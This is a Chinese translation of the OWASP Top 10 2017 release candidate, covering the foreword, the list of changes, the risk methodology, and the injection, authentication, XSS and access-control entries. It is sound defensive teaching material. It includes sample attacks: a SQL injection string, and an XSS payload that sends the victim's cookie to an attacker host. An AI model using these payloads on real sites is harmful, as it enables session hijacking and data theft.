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欢迎提出您的宝贵意见

OWASP组织计划在2017年6月30日公众反馈意见收集结束后，于2017年7月或8月发布最终版
的2017年版《OWASP Top 10 》。

本次《OWASP Top 10》的发布，意味着我们已经持续14年专注于对重要应用安全风险的意
识提升。 本版继承了2013年版的更新（主要变化是增加了“2013-A9 使用含有已知漏洞的组
件” ）。自2013年版《OWASP Top 10》发布以来，我们很高兴看到为应对A9这种问题已经出现

了一个包括诸多开源与商业软件的生态系统；同时，对于开源组件的应用，已经迅速渗入几乎每一
种编程语言。数据还表明，使用含已知漏洞的组件是一个普遍现象，虽然已经不像以前那么广泛了。
我们认为正是因为2013版《OWASP Top 10》提出了这一问题和配套解决方案，才促成了这两种
改进。

我们也注意到自从CSRF被引入到2007年版的Top 10项目以后，它已经从一个广泛影响的漏
洞变得不那么常见了。许多防御框架，包括了大大降低这种漏洞影响范围的自动化CSRF防御措施，
极大提高了开发人员对于这种攻击的防范意识。

关于对本2017年版《OWASP Top 10 》（Release Candidate版）的建设性意见和反馈，可
通过电子邮件发送到OWASP-TopTen@lists.owasp.org。私人评论可以发送到
dave.wichers@owasp.org。也欢迎匿名反馈。所有非私人反馈将在最终版发布的同时，被分类发
布。您对Top 10所列出十类风险的修订反馈意见，我们建议请包括对Top 10所有项目的完整建议
列表，以及修订的理由，所有反馈都应标注具体的相关页面和章节。

在2017年版《OWASP Top 10 》最终发布之后， OWASP组织将同步更新相关支持文档，包
括《OWASP Wiki》、《OWASP Developer’s Guide》、《OWASP Testing Guide》、《OWASP 

Code Review Guide》和《OWASP Prevention Cheat Sheets》，并将Top 10翻译为不同的语言版
本。

您的反馈对于OWASP Top 10项目和所有其他OWASP项目的持续成功至关重要。感谢大家为
改进、提升全球的软件应用安全水平所做出的杰出贡献。

Jeff Williams，OWASP Top 10项目创始者和共同作者

Dave Wichers，OWASP Top 10共同作者和项目负责人



关于OWASPO

前言

不安全的软件已经在破坏着我们的金融、医疗、国

防、能源和其他重要基础设施。随着我们的软件变得越
来越重要、复杂且相互关联，实现应用程序安全的难度
也呈指数级增长。而现代软件开发过程的飞速发展，使
得快速、准确地识别风险变得愈发的重要,。我们再也不
能忽视像《OWASP Top 10》中所列出相对简单的安全
问题。

Top 10项目的目标，是通过识别出企业组织所面对
最严重的风险来提高人们对应用程序安全的意识。Top 

10项目被众多标准、书籍、工具和相关组织引用，包括
MITRE、PCI DSS、DISA、 FTC等等。《OWASP Top 

10》最初于2003年发布，并于2004年和2007年相继做
了少许的更新。2010年版的修改则以针对风险进行排序，
而不仅仅对于流行程度。2013年版和本次发布的2017

年版也沿用了该方法。

我们鼓励各位通过使用《OWASP Top 10》帮助您

的企业组织开始了解应用程序安全。开发人员可以从其
他企业组织的错误中学到经验。管理人员则需要开始思
考如何在企业内部开发软件应用和API时管理风险。

从长远来看，我们鼓励您创建一个与您的文化和技

术都兼容的应用安全计划。这些计划可以是任意形式和
规模，您还应该试图避免开展过程模型中规定的每件事。
相反，您应该利用您企业组织的现有优势，并衡量对您
有用的事物。

我们希望《OWASP Top 10》能对您的应用程序安

全有帮助。如果有任何疑问、评论和想法，请不要犹豫，
立即通过公开的owasp-topten@lists.owasp.org或者私
人的dave.wichers@owasp.org，与我们取得联系。

关于OWASP

开源Web应用安全项目（OWASP）是一个开放的社区，

致力于帮助各企业组织开发、购买和维护可信任的应用程序。
在OWASP，您可以找到以下免费和开源的信息：

• 应用安全工具和标准

• 关于应用安全测试、安全代码开发和安全代码审查

方面的完整书籍

• 标准的安全控制和安全库

• 全球各地分会

• 尖端技术研究

• 专业的全球会议

• 邮件列表

• OWASP中国分会

更多信息，请访问：http://www.owasp.org

http://www.owasp.org.cn

所有的OWASP工具、文档、论坛和全球各地分会都是免

费的，并对所有致力于改进应用程序安全的人士开放。我们
主张将应用程序安全问题看作是人、过程和技术的问题，因
为提供应用程序安全最有效的方法是在这些方面提升。

OWASP是一个新型组织。我们没有商业压力，使得我们
能够提供无偏见、实用、低成本的应用安全信息。 尽管
OWASP支持合理使用商业安全技术，但OWASP不隶属于任
何技术公司。和许多开源软件项目一样，OWASP以一种协作、
开放的方式制作了许多不同种类的材料。

OWASP基金会是确保项目长期成功的非营利性组织。几
乎每一个与OWASP相关的人都是一名志愿者，这包括了
OWASP董事会、全球各地分会会长、项目领导和项目成员。
我们用资金和基础设备来支持创新的安全研究。

我们期待您的加入！

版权和许可
2003－2017 OWASP基金会©版权所有

2006－2017 OWASP中国©版权所有

本文档的发布基于Creative Commons Attribution ShareAlike 3.0 license。任何重复使用或发行，

都必须向他人澄清该文档的许可条款。

http://creativecommons.org/licenses/by-sa/3.0/
http://creativecommons.org/licenses/by-sa/3.0/
https://www.owasp.org/index.php/Industry:Citations
https://www.owasp.org/index.php/OWASP_Chapter
https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference
https://lists.owasp.org/mailman/listinfo
http://www.owasp.org.cn/
http://www.owasp.org/
http://www.owasp.org.cn


I 简介

欢迎

欢迎阅读2017年版的《OWASP Top 10》！该版本的主要变化是首次添加了两类风险：（1）“攻击检测与防护不
足”；（2）“未受有效保护的API”。针对这两类新的风险，我们通过将两个与访问控制有关的类别（2013-A4和2013-
A7）合并成“失效的访问控制”（正如在2004年版《OWAP Top 10》中那样命名），并移除了在2010年版《OWASP Top 
10》中添加的2013-A10“未验证的重定向和转发 ”。

2017年版的《OWASP Top 10》文档主要基于专业应用安全公司（包含8家咨询公司和3家产品厂商）提供的11组大型
数据。这些数据包含了从数以百计的组织机构和从超过50,000个真实应用程序和API中收集的漏洞。从这些流行数据挑选
出排名前十位的类别，并结合对可利用性、可探测性和影响的协商一致估计。Top 10中的条目从所有这些相关数据中被
挑选和排序，并与可利用性、可检测性和影响程度的综合评估结果相结合。

OWASP Top 10的首要目的是教导开发人员、设计人员、架构师、经理和企业组织，让他们认识到最严重Web应用程
序安全弱点所产生的后果。Top 10提供了防止这些高风险问题发生的基本方法，并为获得这些方法的提供了指引。

警告
不要停滞于OWASP Top 10：正如在《OWASP开发者指

南》和《OWASP Cheat Sheet》中所讨论的，能影响整个
web应用程序安全的漏洞成百上千。这些指南是当今Web
应用程序和API开发人员的必读资料。而《OWASP测试指南》
和《OWASP代码审查指南》则指导相关人员如何有效地查
找Web应用程序和API中的漏洞。

持续完善：本《OWASP Top 10》将不断更新。即使您

不改变应用程序的任何一行代码，您的应用程序可能已经
存在从来没有被人发现过的漏洞，并且攻击方法也在不断
改进。要了解更多信息，请查看本文结尾的建议部分，
“开发人员、测试人员和企业组织下一步做什么”。

积极思考：当您已经做好准备停止查找漏洞并集中精
力建立强大的应用程序安全控制时，OWASP正在维护和鼓

励企业组织和应用程序审查者将《应用程序安全验证标准
（ASVS）》作为如何去开展验证工作的指导手册。

合理使用工具：安全漏洞可能很复杂并且藏匿在代码

行的深处。在许多案例中，查找并消除这些弱点的成本最
有效方法，就是为专家配备好的工具。

其他：在您的企业组织中，需重点关注如何将安全成
为组织文化的一部分。更多信息，请参见《OWASP软件保
证成熟度模型（SAMM）》和《Rugged Handbook》。

鸣谢
感谢Aspect Security自2003年OWASP Top 10项目成立

以来，对该项目的创始、领导及更新，同时我们也感谢
主要作者：Jeff Williams和Dave Wichers。

我们要感谢很多企业组织，感谢它们为支持2017年版

的更新提供了漏洞数据，包括下述贡献了大组数据的企
业组织：

针对为Top 10贡献的所有数据和做出贡献的完整人员
名单，我们史无前例的对公众发布。

另外，我们要感谢为本次Top 10更新做出显著的、有
建设性评论的专家：

• Neil Smithline—感谢他此前为Top 10建立Wiki。

最后，我们感谢所有的翻译人员将Top 10翻译成不同
的语言，帮助全世界的人们更容易获得OWASP Top 10。

OWASP Top 10中文翻译项目组
项目组组长：王颉 、包悦忠
翻译人员：顾凌志、王厚奎、王文君、吴楠、夏玉

明、杨天识、袁明坤、张镇（排名不分先后，按姓氏拼
音排列）

审查人员：Rip、夏天泽
说明：本版本已对2013年中文版《OWASP Top 10》中翻译

不准确的内容进行修正。因翻译水平有限，敬请指正。

• Aspect Security 
• Branding Brand
• EdgeScan
• Minded Security
• Softtek
• Veracode

• AsTech Consulting
• Contrast Security
• iBLISS
• Paladion Networks
• Vantage Point

https://github.com/OWASP/Top10/blob/master/2017/datacall/OWASP Top 10 - 2017 Data Call-Public Release.xlsx?raw=true
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OWASP Top 10 – 2013 （旧版） OWASP Top 10 – 2017 （新版）

A1 －注入 A1 －注入

A2 －失效的身份认证和会话管理 A2 －失效的身份认证和会话管理

A3 －跨站脚本（XSS） A3 －跨站脚本（XSS）

A4 －不安全的直接对象引用－与A7合并 A4 －失效的访问控制（最初归类在2003/2004版）

A5 －安全配置错误 A5 －安全配置错误

A6 －敏感信息泄漏 A6 －敏感信息泄漏

A7 －功能级访问控制缺失－与A4合并 A7 －攻击检测与防护不足(新增)

A8 －跨站请求伪造（CSRF） A8 －跨站请求伪造（CSRF）

A9 -使用含有已知漏洞的组件 A9 －使用含有已知漏洞的组件

2013版至2017版改变了哪些内容？

应用程序和API的威胁情况不断变化。这一演变的关键因素是新技术(包括云、容器和API)的快速采用、软件开发过程

(如敏捷软件开发和DevOps)的加速和自动化、第三方库和框架的爆炸式增长，以及攻击者在攻击方面取得的进展。这些因
素常常导致应用程序和API更加难以分析，而且也会显著改变威胁环境。为与不断变化的威胁保持同步，我们周期性地更
新《OWASP Top 10》。在本次2017年版本中，我们做出了以下变更：

1）我们将2013-A4“不安全地直接对象引用”和2013-A7“功能级访问控制缺失”合并到2017-A4“失效的访问控制”
中。

· 在2007年，我们将“失效的访问控制”拆分成这两类，以使数据类风险和功能类风险分别得到有关访问控制问
题的更多关注。我们现在觉得不再有此必要，因此，将它们重新合并。

2）我们增加了2017-A7 “攻击检测与防护不足”。

+ 多年来，我们一直考虑增加对自动化攻击防御不足的问题。根据调查数据，我们可以看到绝大多数应用程序和
API在应对攻击时（无论是手动攻击还是自动攻击）都缺乏检测、防护和响应的基本能力。应用程序和API的所有者也需要
能够快速部署补丁，以对应用程序和API所受的攻击提供防护。

3）我们增加了2017-A10 “未受有效保护的API”。

+ 现代应用程序和API常涉及富客户端应用程序，如：浏览器和移动APP中的JavaScript，其与某类API(SOAP/XML
、REST/JSON、RPC、GWT等）连接。这些API通常未受保护并且含有大量漏洞。我们将其包括以引起各组织对该重大新兴风
险的关注。

4）我们去掉了2013-A10 “未定向的重验证和转发”。

- 在2010年，我们增加了该类别以唤醒对此问题的意识。然而数据显示，该问题并不像预期中的那样普遍。因
此，在前两次的Top 10版本发布中都其列入，这次，我们决定将其删除。

注意：Top 10 是围绕主要风险领域而组织形成的，它们并非严密的、不重叠的或严格的分类。有的风险是围绕攻击者组
织形成的，也有围绕漏洞、防御和资产的。企业组织应考虑制定相关举措以消除这些问题。

发布说明



攻击者可以通过应用程序中许多不同的路径方法去危害您的业务或者企业组织。每种路径方法都代表了一种风险，
这些风险可能会，也有可能不会严重到值得您去关注。

有时，这些路径方法很容易被发现并利用，但有的则非常困难。同样，所造成危害的范围也从无损坏到有可能完全

损害您的整个业务。为了确定您的企业的风险，可以结合其产生的技术影响和对企业的业务影响，去评估威胁代理、攻
击向量和安全漏洞的可能性。总之，这些因素决定了全部的风险。

弱点

攻击

威胁代理

影响

OWASP Top 10的重点在于为广大企业组织确定一组最严重的风险。对于
其中的每一项风险，我们将使用基于OWASP风险等级排序方法的简单评级方
案，提供关于可能性和技术影响方面的普遍信息。

只有您了解您自己的系统环境和企业的具体情况。对于任何已知的应用程序，

可能某种威胁代理无法实施相应的攻击，或者技术影响并没有什么差别。因
此，您必须亲自评估每一种风险，特别是需要针对您企业内部的威胁代理、
安全控制、业务影响等方面。我们将“威胁代理”作为“应用描述”，“业
务影响”作为“应用/业务描述”，以说明这些依赖于您企业中应用的详细信
息。

Top 10中风险的名称，有的来自于攻击的类型，有的来自于漏洞，而有的来

自于所造成的影响。我们选择了最能准确反应出风险名称，并在可能的情况
下，同时使用最为常用的专业名词来得到最高的关注度。

OWASP资料

• OWASP Risk Rating Methodology

• Article on Threat/Risk Modeling

其他资料

• FAIR Information Risk Framework

• Microsoft Threat Modeling (STRIDE 
and DREAD)

弱点

攻击

攻击向量 安全弱点 技术影响 业务影响

攻击

影响

影响

资产

功能

资产

弱点

控制

控制

控制弱点

安全控制

威胁
代理

攻击
向量

漏洞
普遍性

漏洞
可检测性

技术影响 业务影响

应用
描述

易 广泛 易 严重 应用/
业务
描述

平均 常见 平均 中等

难 少见 难 小

应用程序安全风险风险

什么是应用程序安全风险?

我有什么风险? 参考资料



注入攻击漏洞， 例如SQL，OS以及LDAP注入。这些攻击发生在当不可信的数据作为命
令或者查询语句的一部分，被发送给解释器的时候。攻击者发送的恶意数据可以欺骗解释
器，以执行计划外的命令或者在未被恰当授权时访问数据。

A1 – 注入

与身份认证和回话管理相关的应用程序功能往往得不到正确的实现，这就导致了攻击
者攻击者破坏密码、密钥、会话令牌或攻击其他的漏洞去冒充其他用户的身份（暂时或永
久的）。

A2 – 失效的身份认
证和会话管理

当应用程序收到含有不可信的数据，在没有进行适当的验证和转义的情况下，就将它
发送给一个网页浏览器，或者使用可以创建javaScript脚本的浏览器API利用用户提供的数据
更新现有网页，这就会产生跨站脚本攻击。XSS允许攻击者在受害者的浏览器上执行脚本，
从而劫持用户会话、危害网站或者将用户重定向到恶意网站。

A3 – 跨站脚本
（XSS）

对于通过认证的用户所能够执行的操作，缺乏有效的限制。攻击者就可以利用这些缺
陷来访问未经授权的功能和/或数据，例如访问其他用户的账户，查看敏感文件，修改其他
用户的数据，更改访问权限等。

A4 – 失效的访问控
制

好的安全需要对应用程序、框架、应用程序服务器、web服务器、数据库服务器和平
台定义和执行安全配置。由于许多设置的默认值并不是安全的，因此，必须定义、实施和
维护这些设置。此外，所有的软件应该保持及时更新。

A5 – 安全配置错误

许多web应用程序和API没有正确保护敏感数据，如财务、医疗保健和PII。攻击者可能
会窃取或篡改此类弱保护的数据，进行信用卡欺骗、身份窃取或其他犯罪行为。敏感数据
应该具有额外的保护，例如在存放或在传输过程中的加密，以及与浏览器交换时进行特殊
的预防措施。

A6 – 敏感信息泄露

大多数应用和API缺乏检测、预防和响应手动或自动化攻击的能力。攻击保护措施不限
于基本输入验证，还应具备自动检测、记录和响应，甚至阻止攻击的能力。应用所有者还
应能够快速部署安全补丁以防御攻击。

A7 – 攻击检测与

防护不足

一个跨站请求伪造攻击迫使登录用户的浏览器将伪造的HTTP请求，包括受害者的会话
cookie和所有其他自动填充的身份认证信息，发送到一个存在漏洞的web应用程序。这种攻
击允许攻击迫使受害者的浏览器生成让存在漏洞的应用程序认为是受害者的合法请求的请
求。

A8 – 跨站请求伪造
（CSRF）

组件，比如：库文件、框架和其他软件模块，具有与应用程序相同的权限。如果一个
带有漏洞的组件被利用，这种攻击可以促成严重的数据丢失或服务器接管。应用程序和API
使用带有已知漏洞的组件可能会破坏应用程序的防御系统，并使一系列可能的攻击和影响
成为可能。

A9 – 使用含有已知
漏洞的组件

现代应用程序通常涉及丰富的客户端应用程序和API，如：浏览器和移动APP中的
JavaScript，其与某类API(SOAP/XML、REST/JSON、RPC、GWT等）连接。这些API通常是不
受保护的，并且包含许多漏洞。

A10 –未受有效保
护的API
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应用描述
可利用性

易
普遍性
常见

可检测性
平均

影响
严重

应用/业务描述

考虑任何能够向系
统发送不信任数据
的人，包括外部用
户，业务合作伙伴，
内部用户和管理员。

攻击者利用有针对
性的解释器语法发
送简单的、基于文
本的攻击。几乎任
何数据源都能成为
注入载体，包括内
部来源。

注入漏洞发生在应用程序将不可信的数
据发送到解释器时。注入漏洞十分普遍，
尤其是在遗留代码中。通常能在SQL查
询语句、LDAP查询语句、Xpath查询语
句、或者是NoSQL查询、OS命令、XML
解析器、SMTP头、表达式语句等中找

到。注入漏洞很容易通过审查代码发现，
但是却不容易在测试中发现。扫描器和
模糊测试工具可以帮助攻击者找到这些
漏洞。

注入能导致数据丢
失或数据破坏、缺
乏可审计性或是拒
绝服务。注入漏洞
有时甚至能导致完
全主机接管。

考虑受影响的数据
和运行解释器的平
台的商业价值。所
有的数据都有可能
被偷窃，篡改和删
除。您的声誉是否
会被影响？

攻击案例场景
场景#1：应用程序在下面存在漏洞的SQL语句的构造中使
用不可信数据：
String query = "SELECT * FROM accounts WHERE
custID='" + request.getParameter("id") +"'";

场景#2：同样的，框架应用的盲目信任，仍然可能导致查
询语句的漏洞。（例如：Hibernate查询语言（HQL））：
Query HQLQuery = session.createQuery(“FROM accounts 
WHERE custID='“ + request.getParameter("id") + "'");
在这两个案例中，攻击者在浏览器中将“id”参数的值修改
成 ’ or’1’=’1。如：
http://example.com/app/accountView?id=' or '1'='1 
这样查询语句的意义就变成了从accounts表中返回所有的

记录。更危险的攻击可能导致数据被篡改甚至是存储过程
被调用。

我是否存在注入漏洞?
检测应用程序是否存在注入漏洞的最好办法就是确认

所有解释器的使用都明确地将不可信数据从命令语句或查
询语句中区分出来。如果可能的话，在许多情况下，建议
避免解释器，或禁用它（如，XXE）。对于SQL调用，这就
意味着在所有准备语句（prepared statements） 和存储过
程（stored procedures） 中使用绑定变量（bind 
variables），并避免使用动态查询语句。

检查应用程序是否安全使用解释器的最快最有效的方

法是代码审查。代码分析工具能帮助安全分析者找到使用
解释器的代码并追踪应用的数据流。渗透测试者通过创建
攻击的方法来确认这些漏洞。

可以执行应用程序的自动动态扫描器能够提供一些信

息，帮助确认一些可利用的注入漏洞是否存在。然而，扫
描器并非总能达到解释器，所以不容易检测到一个攻击是
否成功。不恰当的错误处理使得注入漏洞更容易被发现。

参考资料
OWASP

• OWASP SQL Injection Prevention Cheat Sheet

• OWASP Query Parameterization Cheat Sheet

• OWASP Command Injection Article

• OWASP XXE Prevention Cheat Sheet 

• OWASP Testing Guide: Chapter on SQL Injection Testing

外部资源

• CWE Entry 77 on Command Injection

• CWE Entry 89 on SQL Injection

• CWE Entry 564 on Hibernate Injection

• CWE Entry 611 on Improper Restriction of XXE 

• CWE Entry 917 on Expression Language Injection 

我如何防止注入漏洞?
防止注入漏洞需要将不可信数据从命令及查询中区分开。

1. 最佳选择是使用安全的API，完全避免使用解释器或
提供参数化界面的API。但要注意有些参数化的API，
比如存储过程（stored procedures），如果使用不当，
仍然可以引入注入漏洞。

2. 如果没法使用一个参数化的API，那么你应该使用解
释器具体的escape语法来避免特殊字符。 OWASP’s 
Java Encoder就有一些escape例程。

3. 使用正面的或“白名单”的具有恰当的规范化的输
入验证方法同样会有助于防止注入攻击。但由于很
多应用在输入中需要特殊字符，这一方法不是完整
的防护方法。 OWASP的ESAPI中包含一个白名单输
入验证例程的扩展库。

A1 注入

安全弱点攻击向量 技术影响
威胁代理

业务
影响

https://www.owasp.org/index.php/OWASP_Java_Encoder_Project


攻击案例场景
场景#1：机票预订应用程序支持URL重写，把会话ID放在
URL里：

http://example.com/sale/saleitems;jsessionid=
2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=Hawaii

该网站一个经过认证的用户希望让他朋友知道这个机票打
折信息。他将上面链接通过邮件发给他朋友们，并不知道
自己已经泄漏了自己的会话ID。 当他的朋友们使用上面的
链接时，他们将会使用他的会话和信用卡。

场景#2：应用程序超时设置不当。 用户使用公共计算机
访问网站。离开时，该用户没有点击退出，而是直接关闭
浏览器。攻击者在一个小时后能使用相同浏览器通过身份
认证。盐

场景#3：内部或外部攻击者进入系统的密码数据库。存储
在数据库中的用户密码没有被哈希和加盐, 所有用户的密
码都被攻击者获得。

我存在会话劫持漏洞吗?
如何能够保护用户凭证和会话ID等会话管理资产呢？

以下情况可能产生漏洞：
1.用户身份验证凭证没有使用哈希或加密保护。 详见
2017-A6。
2. 认证凭证可猜测，或者能够通过薄弱的的帐户管理功能
（例如账户创建、密码修改、密码恢复, 弱会话ID）重写。
3.会话ID暴露在URL里 （例如, URL重写）。
4.会话ID容易受到会话固定（session fixation）的攻击。
5.会话ID没有超时限制，或者用户会话或身份验证令牌特
别是单点登录令牌在用户注销时没有失效。
6.成功注册后,会话ID没有轮转。
7. 密码、会话ID和其他认证凭据使用未加密连接传输。详
见2017-A6。
更多详情请见ASVS要求部分V2和V3 。

参考资料
OWASP

完整的要求和预防资料，见ASVS requirements areas for 
Authentication （V2）和Session Management （V3）。

• OWASP Authentication Cheat Sheet

• OWASP Forgot Password Cheat Sheet

• OWASP Password Storage Cheat Sheet 

• OWASP Session Management Cheat Sheet

•OWASP Testing Guide: Chapter on Authentication

外部资源

• CWE Entry 287 on Improper Authentication

• CWE Entry 384 on Session Fixation

我如何防止?
对企业最主要的建议是让开发人员使用如下资源：

1. 一套单一的强大的认证和会话管理控制系统。这套控
制系统应:

a) 满足OWASP的应用程序安全验证标准（ASVS）
中V2（认证）和V3（会话管理）中制定的所
有认证和会话管理的要求。

b) 具有简单的开发界面。 ESAPI认证器和用户
API是可以仿照、使用或扩展的好范例。

2. 企业同样也要做出巨大努力来避免跨站漏洞，因为这
一漏洞可以用来盗窃用户会话ID。 详见本文档A3。

失效的身份认证和会话管理A2

应用描述
可利用性

平均
普遍性
常见

可检测性
平均

影响
严重

应用/业务描述

任何匿名的外部攻
击者和拥有账号的
用户都可能试图盗
取其他用户账号。
同样也会有内部人
员为了掩饰他们的
行为而这么做。

攻击者使用认证或
会话管理功能中的
泄露或漏洞（比如
暴露的帐户、密码、
或会话ID）来假冒
用户。

开发者通常会建立自定义的认证和会话
管理方案。但要正确实现这些方案却很
难，结果这些自定义的方案往往在如下
方面存在漏洞：退出、密码管理、超时、
记住我、秘密问题、帐户更新等等。因
为每一个实现都不同，要找出这些漏洞
有时会很困难。

这些漏洞可能导致
部分甚至全部帐户
遭受攻击。一旦成
功，攻击者能执行
受害用户的任何操
作。因此特权帐户
是常见的攻击对象。

需要考虑受影响的
数据及应用程序功
能的商业价值。

还应该考虑漏洞公
开后对业务的不利
影响。

安全弱点攻击向量 技术影响
威胁代理

业务
影响



应用描述
可利用性

平均
普遍性

非常广泛
可检测性

平均
影响
中等

应用/业务描述

任何能够发送不可
信数据到系统的人，
包括外部用户、业
务合作伙伴或其他
系统、内部用户和
管理员。

攻击者利用浏览器
中的解释器发送基
于文本的攻击脚本。
几乎所有数据源都
能成为攻击媒介，
包括内部数据源比
如数据库中的数据。

XSS漏洞发生在当应用程序发送给浏览

器的页面中包含用户提供的数据，而这
些数据没有经过适当的验证或转义
（escape）或者没有使用安全的
JavaScript API，就会导致跨站脚本漏洞。
主要有两种已知的跨站漏洞类型：1）
存储式；2）反射式。这两种类型既可

以发生在服务器上也可以发生在客户端。
大部分服务器类型跨站脚本漏洞通过测
试或代码分析相对容易找到。 而客户端
类型跨站脚本漏洞很难识别。

攻击者能在受害者
的浏览器中执行脚
本以劫持用户会话、
破坏网站、插入恶
意内容、重定向用
户、使用恶意软件
劫持用户浏览器等
等。

考虑受影响的系统
及该系统处理的所
有数据的商业价值。

还应该考虑漏洞公
开后对业务的不利
影响。

攻击案例场景
应用程序在下面HTML代码段的构造中使用未经验证

或转义的不可信的数据：

（String） page += "<input name='creditcard' type='TEXT‘
value='" + request.getParameter（"CC"） + "'>";

攻击者在浏览器中修改“CC” 参数为如下值：

'><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'.

这个攻击导致受害者的会话ID被发送到攻击者的网站，
使得攻击者能够劫持用户当前会话。

请注意攻击者同样能使用跨站脚本攻破应用程序可能
使用的任何跨站请求伪造（CSRF）防御机制。CSRF的详细
情况见本文档A8。

我存在XSS漏洞吗？
如果你的服务器端代码使用用户提供的输入作为

HTML输出的一部分，而你不要使用敏感的转义，以确保
它不能运行，那么你就存在了服务器端XSS漏洞。如果一
个网页使用JavaScript来动态添加攻击者—可控的数据到一
个网页，你可能有客户端XSS。理想情况下，最好避免将
攻击者可控的数据发送到不安全的JavaScript API，也可以
通过转义（在较小程度上）输入验证加强安全。

自动化工具能够自动找到一些跨站脚本漏洞。然而，

每一个应用程序使用不同的方式生成输出页面，并且使用
不同的浏览器端解释器，如JavaScript、ActiveX、Flash和
Silverlight，这使得自动检测变得很困难。通常使用建立在

这些库之上的第三方库，这种多样性使得自动化检测困难，
特别是使用现代单页应用程序时功能强大的JavaScript框架

和库。因此，要想达到全面覆盖，须使用结合的方式，在
自动检测的基础上，采用人工代码审核和手动渗透测试。

参考资料
OWASP
• OWASP XSS Prevention Cheat Sheet
• OWASP Types of Cross-Site Scripting 
• OWASP XSS Prevention Cheat Sheet 
• OWASP DOM based XSS Prevention Cheat Sheet 
• OWASP Java Encoder API 
• ASVS: Output Encoding/Escaping Requirements 
(V6) 
• OWASP AntiSamy: Sanitization Library 
• Testing Guide: 1st 3 Chapters on Data Validation 
Testing 
• OWASP Code Review Guide: Chapter on XSS 
Review 
• OWASP XSS Filter Evasion Cheat Sheet 
外部资源
• CWE Entry 79 on Cross-Site Scripting

我如何防止XSS？
防止XSS需要将不可信数据与动态的浏览器内容区分开。
1. 为了避免服务器XSS，最好的办法是根据数据将要置

于的HTML上下文（包括主体、属性、JavaScript、CSS
或 URL ）对所有的不可信数据进行恰当的转义
（escape） 。更多关于数据转义技术的信息见OWASP
XSS Prevention Cheat Sheet 。

2. 为了避免客户端XSS，最好的选择是避免传递不受信
任的数据到JavaScript和可以生成活动内容的其他浏览
器API。如果这种情况不能避免，可以采用OWASP
DOM based XSS Prevention Cheat Sheet 描述的类似上
下文敏感的转义技术应用于浏览器API。

3. 更多内容请参考 OWASP 的 AntiSamy 或 Java HTML
Sanitizer 项目。

4. 考虑使用内容安全策略（CSP）来抵御整个网站的跨
站脚本攻击。

跨站脚本（XSS）A3
安全弱点攻击向量 技术影响

威胁代理

业务
影响

https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting#Server_XSS
https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting#Client_XSS
https://www.owasp.org/images/c/c5/Unraveling_some_Mysteries_around_DOM-based_XSS.pdf
https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet


攻击案例场景
场景#1：应用程序在访问帐户信息的SQL调用中使用未验证数据：

pstmt.setString( 1, request.getParameter("acct")); 

ResultSet results = pstmt.executeQuery( );

攻击者能轻易在浏览器中将“acct”参数修改成他所想要的任

何账户号码。如果应用程序没有进行恰当的验证，攻击者就能
访问任何用户的账户，而不仅仅是该目标用户的账户。

http://example.com/app/accountInfo?acct=notmyacct

场景#2：攻击者能轻易强制浏览器访问目标URLs。管理员权限也
需要访问管理页面。

http://example.com/app/getappInfo

http://example.com/app/admin_getappInfo

如果一个未经认证的的用户能访问这两个页面，说明存在漏洞。

如果非管理员能够访问admin页面，也说明存在漏洞。

我存在漏洞吗?
检测一个应用程序是否存在失效的访问控制漏洞的最

好办法，就是验证所有数据和函数引用是否有适当的防御。
要达到这一目的，可以考虑：

1. 对于数据引用，应用程序是否通过使用引用映射或访
问控制检查确保用户被授权，以确保用户对该数据授
权？

2. 对于非公开功能请求，应用程序是否确保用户身份验
证，并具有使用该函数所需的角色或权限？

对应用程序进行代码审查能验证这些控制措施是否被

正确实施并且存在于需要的任何地方。手工测试同样是找
出失效的访问控制的有效方法。然而，自动化工具通常无
法检测到这些漏洞，因为它们无法识别哪些需要保护、哪
些是安全或不安全的。

参考资料
OWASP

• OWASP Top 10-2007 on Insecure Dir Object References

•OWASP Top 10-2007 on Function Level Access Control

• ESAPI Access Reference Map API

• ESAPI Access Control API (参见 isAuthorizedForData()、
isAuthorizedForFile()、 isAuthorizedForFunction()）

更多的访问控制需求，请见 ASVS requirements area for 
Access Control (V4)。

外部资源

• CWE Entry 285 on Improper Access Control (Authorization)

•CWE Entry 639 on Insecure Direct Object References

•CWE Entry 22 on Path Traversal （一个直接对象引用漏洞的例子）

我如何防止?
要预防失效的访问控制，需要选择一个适当的方法来

保护每一个功能和每种数据类型（如对象号码、文件名）：

1. 检查访问。任何来自不可信源的直接对象引用都必须
通过访问控制检测，确保该用户对请求的对象有访问
权限。

2. 使用基于用户或者会话的间接对象引用。这样能防止
攻击者直接攻击未授权资源。例如，一个下拉列表包
含6个授权给当前用户的资源，它可以使用数字1-6来

指示哪个是用户选择的值，而不是使用资源的数据库
关键字来表示。OWASP的ESAPI包含了两种序列和随机
访问引用映射，开发人员可以用来消除直接对象引用。

3. 自动化验证。利用自动化验证正确的授权部署。这是
通常做法。

失效的访问控制A4

应用描述
可利用性

容易
普遍性
广泛

可检测性
容易

影响
中等

应用/业务描述

考虑系统的授权用
户类型。用户是否
受限于访问某些功
能和数据？未经过
认证的用户是否允
许访问任何功能或
者数据？

作为授权的系统用
户，攻击者只需要
修改指向一个系统
资源的直接引用参
数值，让其指向另
一个无权访问的资
源。系统是否会允
许这样的访问？

当生成web页面时，数据、应用程序和
APIs经常使用对象的实名或关键字。功
能、URLs和函数名称经常容易被猜解。
而应用程序和APIs并不总是验证用户对

目标资源的访问授权，这就导致了访问
控制失效。测试者能轻易操作参数值以
检测该漏洞。代码分析能很快显示应用
程序是否进行了正确的权限验证。

这种漏洞能破坏通
过该参数引用的所
有功能和数据。除
非引用是不可预知
的或者强制执行访
问控制，否则数据
和功能可以被窃取，
或滥用。

考虑暴露的数据和
功能的商业价值。

还应该考虑漏洞被
暴露后对商业的不
利影响。

安全弱点攻击向量 技术影响
威胁代理

业务
影响

https://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference
https://www.owasp.org/index.php/Top_10_2007-Failure_to_Restrict_URL_Access
https://static.javadoc.io/org.owasp.esapi/esapi/2.1.0.1/org/owasp/esapi/AccessReferenceMap.html
https://static.javadoc.io/org.owasp.esapi/esapi/2.1.0.1/org/owasp/esapi/AccessController.html
https://www.owasp.org/index.php/ASVS
http://cwe.mitre.org/data/definitions/285.html
http://cwe.mitre.org/data/definitions/639.html
http://cwe.mitre.org/data/definitions/22.html
